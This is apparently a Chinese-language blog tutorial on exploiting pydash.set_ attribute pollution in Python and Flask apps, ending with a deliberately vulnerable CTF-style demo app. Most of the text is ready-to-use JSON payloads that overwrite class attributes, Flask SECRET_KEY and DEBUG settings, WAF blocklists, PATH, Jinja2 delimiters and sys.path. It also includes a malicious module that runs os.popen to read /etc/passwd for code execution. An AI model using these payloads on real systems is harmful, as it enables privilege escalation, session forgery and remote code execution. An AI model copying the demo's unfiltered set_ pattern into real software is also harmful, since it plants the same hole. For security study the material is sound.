pydash原型链污染
漏洞简介
Pydash 是著名的 JavaScript 库 Lodash 的 Python 移植版。它提供了一系列工具函数来处理数据。
它的核心漏洞点在于
pydash.set_(a,b,c)
该函数允许用户通过字符串路径(Dot Notation,如A.B.C)来设置嵌套对象或字典的值。
在旧版本的pydash(<6.0.0或者某些没有正确过滤的新版)中,它没有严格限制访问Python的魔术属性。
这样攻击者就可以通过传入恶意的Key(如__init__.__globals__),从一个普通对象”跳出“当前作用域,去修改全局变量、类属性,甚至不仅影响当前请求,还能持久化影响整个Web应用的运行状态。
漏洞点原理
这个漏洞点的函数的签名通常是这样的
pydash.set_(obj, path, value)
obj
这是我们要修改的目标对象。obj有两种常见形态:普通的字典(Dict)和自定义类的实例(Instance)。我们分别来看这两种形态在利用时的区别和特征。
字典
在现代Web开发中,这是出现频率最高的obj形态。它通常来自用户上传的JSON数据,或者是为了合并配置而创建的空字典。示例代码如下
# 场景:合并用户配置到默认配置
def merge_config(user_input):
config = {} #这就是 obj,一个空字典
# 或者
# config = {"theme": "dark", "lang": "en"}
# 漏洞发生地
for key, value in user_input.items():
pydash.set_(config, key, value)
虽然config只是一个字典,但它也是Python的对象。如果我们利用它来跳出作用域,我们不能直接用__init__,因为在pydash对字典的处理逻辑中,它会优先去找有没有一个叫__init__的key,而不是去调用方法。
我们通常需要先访问__class__跳出字典的键值对逻辑,进入对象属性逻辑。例如:
__class__.__init__.__globals__.SECRET_KEY
这样我们利用class,从config这个字典中跳到dict类,然后再利用init和globals获取全局属性。
实例
这是在 ORM(如 SQLAlchemy)或用户模型中常见的形态。开发者实例化了一个用户对象、文章对象或设置对象,想通过通用函数来更新它的属性。
示例代码如下
class User:
def __init__(self):
self.username = "guest"
self.is_admin = False
user = User() # 这就是 obj,一个实例对象
# 场景:更新用户信息
# 开发者想实现:输入 "username" 改名,输入 "is_admin" (如果未过滤) 提权
pydash.set_(user, user_input_key, user_input_value)
这种场景下的利用非常方便,因为实例对象的方法直接挂载在对象属性上。
我们可以直接从init开始往下走,利用
__init__.__globals__.SECRET_KEY
这样就可以直接获取全局属性。
path
这是从obj出发,寻找最终要修改属性的路径。通常支持点分法(Dot Notation)。
这里也就是我们利用链的利用点。在obj确定修改对象后,把利用链传入这个值。
value
这里就是我们想把目标修改成目标值的位置。
利用类型
一、属性篡改与逻辑绕过
1.污染类属性
这里我们利用Python类变量共享的特性,修改所有实例的默认值。
例如,有一个用户注册或者登录的页面,代码中有user.is_admin检查。我们就可以修改User类的is_admin属性,导致后续实例化的所有用户变成管理员。
{
"key": "__class__.is_admin",
"value": true
}
这里同样注意,如果obj是字典对象,起点为class;如果为实例对象,起点为init。
2.劫持Flask配置
如果环境是一个Flask应用,我们可以利用app.config控制逻辑。
我们可以拿到SECRET_KEY,拿到它后可以伪造session,如果把session进行反序列化了这里也可以配合pickle反序列化来打
{
"key": "__init__.__globals__.app.config.SECRET_KEY",
"value": "123"
}
然后利用修改后的SECRET_KEY进行session伪造。
也可以把debug修改为true,泄露源码或者利用PIN码登录控制台进行rce。
{
"key": "__init__.__globals__.app.config.DEBUG",
"value": true
}
3.绕过WAF或改变内部变量
如果环境中有用变量存储的黑名单检测,或者使用了某个全局变量作为判断依据,我们可以直接覆盖变量。
"__init__.__globals__.BLACKLIST" 将内名单列表清空
"__init__.__globals__.check_pass" 将密码检查函数的返回值修改为True
二、RCE利用链
部分环境代码中可能有潜在的rce漏洞点,如果参数可控,我们可以尝试利用pydash实现代码执行。
1.污染os.environ劫持命令执行
很多程序底层都会调用子进程(如subprocess.popen, os.system)。如果代码中使用了相对路径命令(如git status而非/usr/bin/git status),我们可以劫持PATH环境变量。
例如,我们可以上传一个shell到tmp目录下,利用pydash修改shell到app目录下,我们就可以通过浏览器访问来rce。
{
"key": "__init__.__globals__.os.environ.PATH",
"value": "/tmp:/app"
}
2.Jinja2模板全局变量污染
如果题目使用了Flask+Jinja2来渲染页面,但是过滤SSTI关键字符或者没有可控的SSTI漏洞点,我们可以利用Jinja2的模板变量来rce。
app.jinja_env.globals
Jinja2有一个app.jinja_env.globals字典,这里面的函数/变量可以在所有模板中直接调用。我们可以往这里面塞入而已函数(如os.popen)。
{
"key": "__init__.__globals__.app.jinja_env.globals.os",
"value": "os"
}
直接传module对象通常不行,因为JSON无法序列化module。这通常用于开启某些Jinja2的内置扩展或修改配置。
app.jinja_env.variable_start_string
但是我们还可以修改Jinja2的定界符。如果题目过滤了双大括号,我们可以把定界符改成其他的,如双中括号。
{
"key": "__init__.__globals__.app.jinja_env.variable_start_string",
"value": "[["
}
app.jinja_env.variable_end_string
对应的,开头我们改了,结尾也要改
{
"key": "__init__.__globals__.app.jinja_env.variable_end_string",
"value": "]]"
}
app.jinja_loader.searchpath
app下有个负责加载模板的jinja_loader对象的搜索路径属性searchpath。为了防止SSTI,Flask通常不会允许render_template加载别的目录下的模板文件,默认加载./template目录中的模板文件。如果我们可控模板渲染的模板路径,就可以渲染任意文件,执行SSTI或者进行任意文件读取。
{
"key": "__init__.__globals__.app.jinja_loader.searthpath",
"value": "/"
}
我们把模板渲染的默认路径修改成了根目录,这样如果代码为
return render_template('flag')
Flask就会渲染根目录下的flag文件,也就是/flag。
3.Python模块导入劫持
sys.path决定了Python在import库时去哪里找py文件。
如果我们能在服务器上写入一个.py文件到tmp,服务端会有import json或者import os这类的import操作,那么我们就可以将/tmp插入到sys.path的最前面。
{
"key": "__init__.__globals__.sys.path",
"value": ["/tmp", "/usr/lib/python3.x/..."]
}
那么我们可以把恶意python文件修改为源码中import的文件名,上传到tmp目录下,比如json.py,那么下次代码执行import json的时候,加载的就是/tmp/json.py,可以直接rce。
但是注意,对于已经导入成功的模块(如os,sys),单纯修改sys.path是无法实现劫持的。
Python的导入机制有一个缓存优先原则。当我们执行import os时,Python解释器会首先检查sys.module字典。如果os已经在里面了,Python直接返回缓存中的对象,而对于web应用,这类模块在启动时就被加载了。只有当sys.module里找不到时,才会遍历sys.path列表去磁盘上搜索.py文件。
我们的目标就是寻找懒加载(import写在函数内部)的模块,或者不存在的模块。
漏洞演示
下面这段代码可以用来演示所有类型的利用方法。
app.py
import os
import sys
import subprocess
import pydash
from flask import Flask, request, render_template_string, jsonify
app = Flask(__name__)
# ================== 环境配置 ==================
UPLOAD_FOLDER = '/tmp/ctf_uploads'
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
# 模拟一个全局的 WAF 黑名单 (Type 1: 内部变量)
# 如果这个列表里有内容,某些操作会被阻止
GLOBAL_WAF_BLOCKLIST = ["hack"]
class AppConfig:
def __init__(self):
# 正常配置
self.debug = False
# (Type 1: Flask配置) 用于保护核心 flag 的开关
app.config['SHOW_THE_FLAG'] = False
class User:
is_admin = False
def __init__(self, name):
self.name = name
# ================== 核心漏洞点 ==================
@app.route('/api/pollute', methods=['POST'])
def pollute():
"""
万恶之源:Pydash 原型链污染入口
"""
try:
data = request.get_json()
key = data.get('key')
value = data.get('value')
# 这里的 obj 是一个普通的实例,但足以撬动地球
temp_user = User("temp")
pydash.set_(temp_user, key, value)
return jsonify({"msg": f"Polluted {key} success"})
except Exception as e:
return jsonify({"error": str(e)})
# ================== 辅助功能:文件上传 ==================
@app.route('/api/upload', methods=['POST'])
def upload_file():
"""
用于配合 Type 2 攻击:上传恶意脚本或模块
"""
if 'file' not in request.files: return "No file"
file = request.files['file']
if file.filename == '': return "No name"
file.save(os.path.join(UPLOAD_FOLDER, file.filename))
return f"File saved to {UPLOAD_FOLDER}/{file.filename}"
# ================== 关卡展示 ==================
# [关卡 1] 属性篡改 (Class Attribute Pollution)
@app.route('/level1/admin')
def level1():
# 每次请求产生新实例,看似安全,实则不然
current_user = User("player")
if current_user.is_admin:
return "<h3>[Level 1 CLEAR] You are Admin now!</h3>"
return "<h3>[Level 1 FAIL] Guest permission denied.</h3>", 403
# [关卡 2] 内部变量/WAF 绕过 (Internal Variable Bypass)
@app.route('/level2/waf')
def level2():
# 检查全局 WAF 列表
# 目标:清空这个列表
if len(GLOBAL_WAF_BLOCKLIST) > 0:
return f"<h3>[Level 2 FAIL] WAF Active. Blocked items: {GLOBAL_WAF_BLOCKLIST}</h3>", 403
return "<h3>[Level 2 CLEAR] WAF disabled!</h3>"
# [关卡 3] Flask 配置劫持 (Config Hijacking)
@app.route('/level3/flag')
def level3():
# 目标:修改 app.config['SHOW_THE_FLAG']
if app.config.get('SHOW_THE_FLAG'):
return "<h3>[Level 3 CLEAR] Flag: CTF{CONFIG_HIJACKED}</h3>"
return "<h3>[Level 3 FAIL] Flag is hidden in config.</h3>", 403
# [关卡 4] 环境变量劫持 (os.environ Injection)
@app.route('/level4/cmd')
def level4():
# 模拟系统调用一个名叫 'sys_health_check' 的工具
# 实际上系统里没这个命令,依赖 PATH 去找
try:
# 注意:这里没有写绝对路径,给了 PATH 劫持的机会
# 我们利用 upload 上传一个叫 sys_health_check 的脚本到 /tmp/ctf_uploads
# 然后污染 PATH 包含该目录
output = subprocess.check_output(["sys_health_check"], shell=False, env=os.environ)
return f"<h3>[Level 4 CLEAR] Cmd Output: {output.decode()}</h3>"
except Exception as e:
return f"<h3>[Level 4 FAIL] Command failed: {str(e)} (PATH: {os.environ.get('PATH')})</h3>"
# [关卡 5] Jinja2 全局变量/语法污染 (Jinja2 Globals/Delimiters)
@app.route('/level5/ssti')
def level5():
user_input = request.args.get('name', 'Guest')
# 强力过滤:禁止使用 {{ 和 }},甚至禁止 class, globals 等关键字
if '{{' in user_input or 'class' in user_input:
return "Hacker detected!"
# 目标:污染 Jinja2 配置,把定界符改为 [[ ]] 从而绕过检测
template = "Hello " + user_input
return render_template_string(template)
# [关卡 6] Python 模块导入劫持 (Module Hijacking)
@app.route('/level6/import')
def level6():
try:
# 尝试导入一个不存在的插件
# 目标:上传一个 malicious_plugin.py 到 /tmp/ctf_uploads
# 然后污染 sys.path
import malicious_plugin
return f"<h3>[Level 6 CLEAR] {malicious_plugin.run()}</h3>"
except ImportError:
return f"<h3>[Level 6 FAIL] Module 'malicious_plugin' not found in {sys.path}</h3>"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
污染类属性
-
目标:修改User类的is_admin为True
-
payload:
{ "key": "__class__.is_admin", "value": true }


劫持Flask配置
-
目标:修改app.config[‘SHOW_THE_FLAG’]
-
payload:
{ "key": "__init__.__globals__.app.config.SHOW_THE_FLAG", "value": true }


绕过WAF
-
目标:清空内部全局变量GLOBAL_WAF_BLOCKLIST
-
payload:
{ "key": "__init__.__globals__.GLOBAL_WAF_BLOCKLIST", "value": [] }


污染os.environ
系统尝试执行sys_health_check,但没有这个命令。我们造一个假的,并把路径加到PATH里。
创建一个文件名为sys_health_check的可执行文件。
#!/bin/sh
echo "Hacked"
这里注意如果想执行这个文件需要有x权限,这里不过多说明,只是演示命令劫持。
{
"key": "__init__.__globals__.os.environ.PATH",
"value": "/tmp/ctf_uploads:/usr/bin:/bin"
}
访问/level4/cmd,服务器会在/tmp/ctf_uploads找到sys_health_check并执行。
Jinja2全局变量污染
题目有一个SSTI漏洞点,但是过滤了双大括号,我们将variable_start_string改为双中括号。
{
"key": "__init__.__globals__.app.jinja_env.variable_start_string",
"value": "[["
}



这样就可以用[[]]代替{{}}进行sstizhu'ru
Python模块导入劫持
import malicious_plugin失败,我们上传它并把上传目录加入sys.path。
首先本地创建恶意的malicious_plugin.py
# malicious_plugin.py
import os
def run():
return os.popen('ls / && cat /etc/passwd').read()
调用题目中的/api/upload上传它。
然后污染sys.path。
{
"key": "__init__.__globals__.sys.path",
"value": ["/tmp/ctf_uploads"]
}
访问/level6/import,python就会加载我们的恶意脚本,实现rce。



浙公网安备 33010602011771号